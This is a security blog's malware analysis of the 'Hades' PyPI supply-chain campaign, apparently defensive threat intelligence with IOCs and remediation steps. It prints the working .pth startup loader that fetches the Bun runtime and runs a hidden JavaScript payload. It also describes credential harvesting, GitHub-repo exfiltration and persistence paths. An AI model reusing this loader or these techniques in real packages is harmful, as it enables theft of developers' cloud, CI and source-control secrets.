Hades Descends to PyPI: Miasma Supply Chain Campaign Spreads via Malicious .pth Startup Hooks

The CyberSec Guru

Hades PyPI Malware

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

A sophisticated cross-runtime supply chain attack has breached the Python Package Index (PyPI), distributing 37 malicious wheel artifacts across 19 packages. Attributed to the prolific Mini Shai-Hulud / Miasma threat lineage, this newly identified variant—dubbed “Hades”—marks a significant shift in ecosystem-specific delivery vectors.

By abusing legitimate Python .pth (path configuration) files as startup execution hooks, the malware runs immediately upon interpreter startup, even before the target package is explicitly imported. The attack payload hijacks the victim’s environment, bootstraps the Bun JavaScript runtime, and executes a heavily obfuscated payload (_index.js) to systematically harvest and exfiltrate cloud infrastructure credentials, developer secrets, and CI/CD access tokens to attacker-controlled GitHub repositories.

Architecture of the Hades/Miasma PyPI supply chain attack showing .pth loader to Bun runtime payload execution flow
Architecture of the Hades/Miasma PyPI supply chain attack showing .pth loader to Bun runtime payload execution flow

The Evolution of Mini Shai-Hulud & Miasma

Over the past year, the threat actor group behind the Mini Shai-Hulud and Miasma campaigns has aggressively targeted open-source package repositories. Historically focused on npm and Packagist, the threat actors have expanded their cross-runtime tradecraft directly into the Python ecosystem.

Security monitoring detected this coordinated PyPI campaign targeting a highly specialized cluster of libraries. While previous waves utilized Zelda-themed indicators (e.g., “Miasma: The Spreading Blight”), this branch deploys a distinct classical theme: Hades. The campaign utilizes GitHub-centric exfiltration hooks referencing the Underworld, including repository descriptions labeled “Hades – The End for the Damned” and automated repository generation tags such as stygian, tartarean, cerberus, charon, styx, lethe, thanatos, and persephone.

To date, security teams are tracking a massive footprint of 448 compromised artifacts across both npm and PyPI:

  • npm: 411 compromised artifacts across 106 packages.
  • PyPI: 37 malicious wheels across 19 packages (representing a mass-compromise of a single maintainer’s portfolio).

Why .pth Files are Deadly

The primary mechanism used to achieve immediate execution on a target machine is the abuse of Python’s path configuration files (.pth).

The Startup Hook Trick

In standard CPython implementations, .pth files are processed by the site module during interpreter initialization. While intended simply to append directories to sys.path, Python’s interpreter explicitly permits executable lines within .pth files if they begin with an import statement followed by a space or tab.

This creates a highly dangerous passive execution vector. A developer or automated runner does not need to execute import compromised_package to trigger the infection. Simply installing the package, running pip list, invoking a test suite (e.g., pytest), or spawning a local Jupyter notebook kernel processes the site configuration, reading the .pth file and immediately invoking the loader code.

The Attack Directory Layout

The structure of a compromised wheel package reveals a minimal, highly deceptive modification:

<compromised-package>/
├── __init__.py
├── ... [legitimate library code]
├── _index.js
└── *-setup.pth

The single, obfuscated line within the custom *-setup.pth file serves as the bootstrap loader.

📬 Stay Ahead of Cyber Threats

Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.

Subscribe to the Newsletter →

Deep-Dive Code Analysis: The Loader Routine

The loader acts as an environmental bridge. Although the initial delivery platform is Python, the core payload of the Hades malware is written in JavaScript. To bridge this runtime gap without assuming Node.js or Python dependencies exist, the loader downloads and installs a static binary of the Bun runtime.

Below is the normalized structural flow of the python bootstrap loader embedded within the malicious wheels:

import glob
import os
import platform
import subprocess
import sys
import tempfile
import urllib.request
import zipfile
# 1. Establish execution boundary to prevent infinite loops
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
base = os.path.dirname(__file__)
payload = os.path.join(base, "_index.js")
# Locate the embedded JS payload
if not os.path.exists(payload):
candidates = glob.glob(os.path.join(base, "*", "_index.js"))
payload = candidates[0] if candidates else ""
# Establish target operating system details
is_windows = os.name == "nt"
bun = os.path.join(tempfile.gettempdir(), "b", "bun" + (".exe" if is_windows else ""))
# 2. Dynamically download the Bun runtime if not already cached
if not os.path.exists(bun):
arch = "aarch64" if platform.machine() == "arm64" else "x64"
os_name = {"linux": "linux", "darwin": "darwin", "win32": "windows"}.get(sys.platform, "linux")
zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
# Download Bun v1.3.13 directly from official GitHub releases
urllib.request.urlretrieve(
f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
zip_path,
)
# Extract binary and set executable permissions
zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
os.chmod(bun, 0o775)
os.unlink(zip_path)
# 3. Hand over execution to the JS payload via Bun
subprocess.run([bun, "run", payload], check=False)
# Write execution sentinel
open(sentinel, "w").close()

Exploitability Nuance

Static analysis notes that inside standard CPython environments, resolving relative paths inside .pth files using os.path.dirname(__file__) can occasionally fail, as __file__ may resolve to the global site.py location instead of the local library path. Despite this potential runtime resolution error in certain environments, the file remains critically dangerous and attempts to run on every initialization sequence.

Multi-Stage Payload Deobfuscation

Once Bun is executed, the highly obfuscated _index.js file runs. This file uses multiple nested layers of packaging to prevent static inspection and heuristic detection.

[Obfuscated _index.js]
├──► Layer 1: Try/Eval Wrapper (ROT character-code substitution)
├──► Layer 2: AES-GCM Decrypter (Extracts code via node:crypto)
├──► Layer 3: Main JS Payload Decoupler (Generates random /tmp/p*.js)
└──► Layer 4: Heavy String Obfuscation (PBKDF2/SHA256 Custom Decoders, AES-256-GCM + Gzip strings)
  1. The Outer Wrapper: The entry point is a try { eval(...) } block processing a large array of character codes subjected to an alphabet-substitution key (ROT style).
  2. The Decryption Engine: The decrypted output executes a stage that imports node:crypto to decrypt two embedded AES-128-GCM binary blobs. This stage writes the actual core threat package to a random file within the temp directory (e.g., /tmp/p[random_string].js) before invoking it.
  3. The Decoded Payload Core: The resulting script uses a custom PBKDF2/SHA256 string decoder, reference-rotated string mapping tables, and AES-256-GCM strings wrapped inside gzip decompression streams.

Compromised Target Secret Classes

Upon full memory execution, the Hades agent systematically crawls local profiles, process environments, CI runners, and system configurations. It searches specifically for:

  • Cloud Providers: AWS credentials (identity profiles, STS tokens, SSM Parameter Store, and Secret Manager data), Google Cloud Platform (GCP service account keys, active project IDs), and Microsoft Azure key vaults.
  • CI/CD & DevOps Infrastructure: Kubernetes Service Account tokens, HashiCorp Vault access codes, CircleCI secrets, and local Docker configurations (config.json).
  • Source Control & Repositories: GitHub access tokens (ghs_* tokens, runner memories), GitLab keys, SSH private keys, and local Git credential helper structures.
  • Package Managers: Configuration tokens for npm (.npmrc), PyPI (.pypirc), RubyGems, and JFrog Artifactory.
  • Artificial Intelligence Platforms: Anthropic API tokens, Claude/MCP (Model Context Protocol) configs.
  • Local Developer Configuration Files: .env config variables, shell histories (e.g., .bash_history, .zsh_history), and localized crypto wallets.

Camouflage & Exfiltration: The Anthropic decoy

To exfiltrate harvested secrets without triggering network anomaly detections, the malware uses a two-pronged exfiltration strategy.

Network Log Camouflage (The Anthropic Decoy)

The malware generates direct outbound HTTPS packets to api.anthropic.com/v1/api on port 443. While this is Anthropic’s legitimate API endpoint, the path /v1/api is dead, returning a standard 404 error.

This outbound traffic acts as network-log pollution. Security operation centers (SOCs) monitoring network traffic will see queries to highly trusted, ubiquitous AI hosts like Anthropic. This blends cleanly into standard developer systems running AI assistants, preventing manual inspection.

GitHub Repository Exfiltration (The True Conduit)

The harvested data is packaged, compressed, encrypted, and exfiltrated back to GitHub. The agent makes authenticated API calls (POST /user/repos) using stolen developer tokens to create temporary public repositories.

Once created, it commits encrypted envelopes containing system profiles to the repo under structured JSON endpoints:

  • Path Structure: results/results-<timestamp>-<counter>.json
  • In-Code Commit Flag: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully
  • Target Repo Description: Hades - The End for the Damned

CI/CD Exfiltration

When running inside GitHub Actions virtual environments, the malware leverages a fallback exfiltration channel. It embeds workflow automation files designed to dump run-time context logs directly into files named format-results.txt and uploads them to the workflow run using the name “format-results” under the workflow name “Run Copilot”.

Persistence and Environmental Checks

The Hades variant shows high operational maturity, scanning systems for defenses and establishing long-term persistent hooks:

  • Evasion Controls: It queries the environment to confirm if Russian locales are configured. It also probes for StepSecurity/harden-runner integration and actively skips pre-identified developer decoy tokens to avoid trigger-happy security canaries.
  • Persistence Mechanisms: To guarantee access after reboot, it dynamically configures daemon jobs, systemd units, and launch agents:
    • ~/.config/gh-token-monitor/
    • ~/.local/bin/gh-token-monitor.sh
    • ~/.config/systemd/user/gh-token-monitor.service (Linux)
    • ~/Library/LaunchAgents/com.github.token-monitor.plist (macOS)
  • AI Developer Poisoning: It sets up background file monitoring inside Claude MCP tool configurations (.local/share/updater/update.py.claude), IDE settings, and updates repository workflow templates (.github/workflows/codeql.yml). This targets modern developer stacks where AI models have read-write filesystem access.

Impact Assessment: Compromised Bioinformatics Libraries

The 37 compromised wheel releases span 19 PyPI packages. The primary vectors are bioinformatics, multi-omics, and computational genomic modeling libraries managed by a single maintainer.

Because bioinformatics pipelines process massive genomic data sets on enterprise-grade computing clusters or cloud pipelines, targeting these packages gives attackers direct access to raw research code, AWS clusters, and high-performance computing (HPC) environments.

Complete Table of Compromised PyPI Packages and Versions

Below is the complete, validated list of the 37 compromised PyPI package releases identified in this wave:

Malicious PyPI PackageVersion(s) AffectedDescription / Functionality
bramin0.0.2, 0.0.3, 0.0.4Specialized developer command runner / utility
cmd2func0.2.2, 0.2.3Command line execution wrapper utility
coolbox0.4.1, 0.4.2Jupyter-based genomic data visualizer (Hi-C, ChIP-Seq, RNA-Seq)
dynamo-release1.5.4Single-cell RNA velocity & expression dynamics pipeline
executor-engine0.3.4, 0.3.5Task management and engine wrapper
executor-http0.1.3, 0.1.4Remote HTTP execution utility
funcdesc0.2.2, 0.2.3Function description parser / utility
magique0.6.8, 0.6.9Internal developer platform tool
magique-ai0.4.4, 0.4.5AI task integration wrapper
mrbios0.1.1, 0.1.2System BIOS evaluation tool
napari-ufish0.0.2, 0.0.3Deep-learning spot-detection plugin for napari image viewer
nucbox0.1.2, 0.1.3Computational biology track parsing utility
okite0.0.7, 0.0.8Lightweight agent scheduler
pantheon-agents0.6.1, 0.6.2Autonomous agent orchestration tool
pantheon-toolsets0.5.5, 0.5.6Agent interface extension toolkit
spateo-release1.1.2Spatial-transcriptomics analytical model suite
synago0.1.1, 0.1.2High-performance sync/async data mapper
ufish0.1.2, 0.1.3Deep learning fluorescence in-situ hybridization (FISH) detector
uprobe0.1.3, 0.1.4Profiling and system verification utility

Detection and Remediation Strategies

Organizations consuming open-source Python dependencies must implement strict defensive posture checks to block this specific lineage.

Static Analysis Detection (YARA & Heuristics)

Flag any PyPI wheel or local system installation displaying the following structural combinations:

  1. Presence of an executable .pth file containing an import hook combined with calls to subprocess, urllib.request, or tempfile.
  2. Inclusion of an standalone JavaScript file (_index.js) embedded inside traditional python source directories (site-packages).
  3. Presence of strings matching:
    • oven-sh/bun/releases/download
    • bun-v1.3.13
    • .bun_ran
    • IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully

Runtime/Behavioral Analysis Indicators

Monitor processes for unauthorized runtime bootstrapping:

  • python spawning outbound network connections to github.com retrieving binary .zip files.
  • python spawning bun or writing executable binaries into user temp directories (e.g., /tmp/b/bun or %TEMP%\\b\\bun.exe).
  • Outbound HTTPS calls to api.anthropic.com/v1/api that resolve in 404 Not Found messages.

Incident Response & Playbook

If any affected packages were installed in your developer or CI environments, follow these steps immediately:

  1. Quarantine & Purge: Uninstall the package and thoroughly purge the corresponding environment:pip uninstall <package_name> -y rm -rf /tmp/.bun_ran /tmp/b.zip /tmp/b/
  2. Audit the Directory Trees: Scan site-packages for rogue *-setup.pth or _index.js artifacts.
  3. Credential Rotation: Treat all secrets exposed to the infected environment as compromised. Perform immediate rotation for:
    • GitHub credentials, personal access tokens (PATs), and runner secrets.
    • AWS, GCP, and Azure programmatic access keys.
    • Package publishing tokens (PyPI, npm, RubyGems).
  4. Audit GitHub History: Search your GitHub organization audits for unauthorized public repository creation, runs containing the workflow “Run Copilot”, or repository artifacts titled “format-results”.

Indicators of Compromise (IOCs)

Cryptographic Hashes (SHA-256)

  • Malicious Loader (.pth file): c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
  • JS Payload Variant 1 (4.8 MB): dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
  • JS Payload Variant 2 (4.7 MB): e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d

Network Indicators

  • hxxps://api[.]anthropic[.]com/v1/api (Decoy host)
  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/ (Payload bootstrapping)

Host Indicators

  • /tmp/.bun_ran (Unix) or %TEMP%\.bun_ran (Windows)
  • /tmp/b.zip or %TEMP%\b.zip
  • _index.js (inside site-packages)
  • ~/.config/gh-token-monitor/

Frequently Asked Questions (FAQs)

What makes the Hades PyPI malware campaign different from typical package compromises?

Unlike typical Python malware that relies on setup.py execution during installation, Hades abuses standard .pth path configuration files. This means code executes on every Python startup. Furthermore, it is a cross-runtime attack—even though it delivery-targets Python systems, it runs via an injected JavaScript engine (Bun).

Were Anthropic’s cloud systems compromised?

No. The malware contacts api.anthropic.com/v1/api to camouflage its activity within network logs. Because many modern developer tools interface with Anthropic’s Claude, network logs to this domain look normal.

How did the threat actors compromise these 19 bioinformatics packages?

Initial indicators point to a targeted developer account takeover. Patch updates containing the malicious .pth hooks and _index.js payloads were published consecutively across the author’s portfolio.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading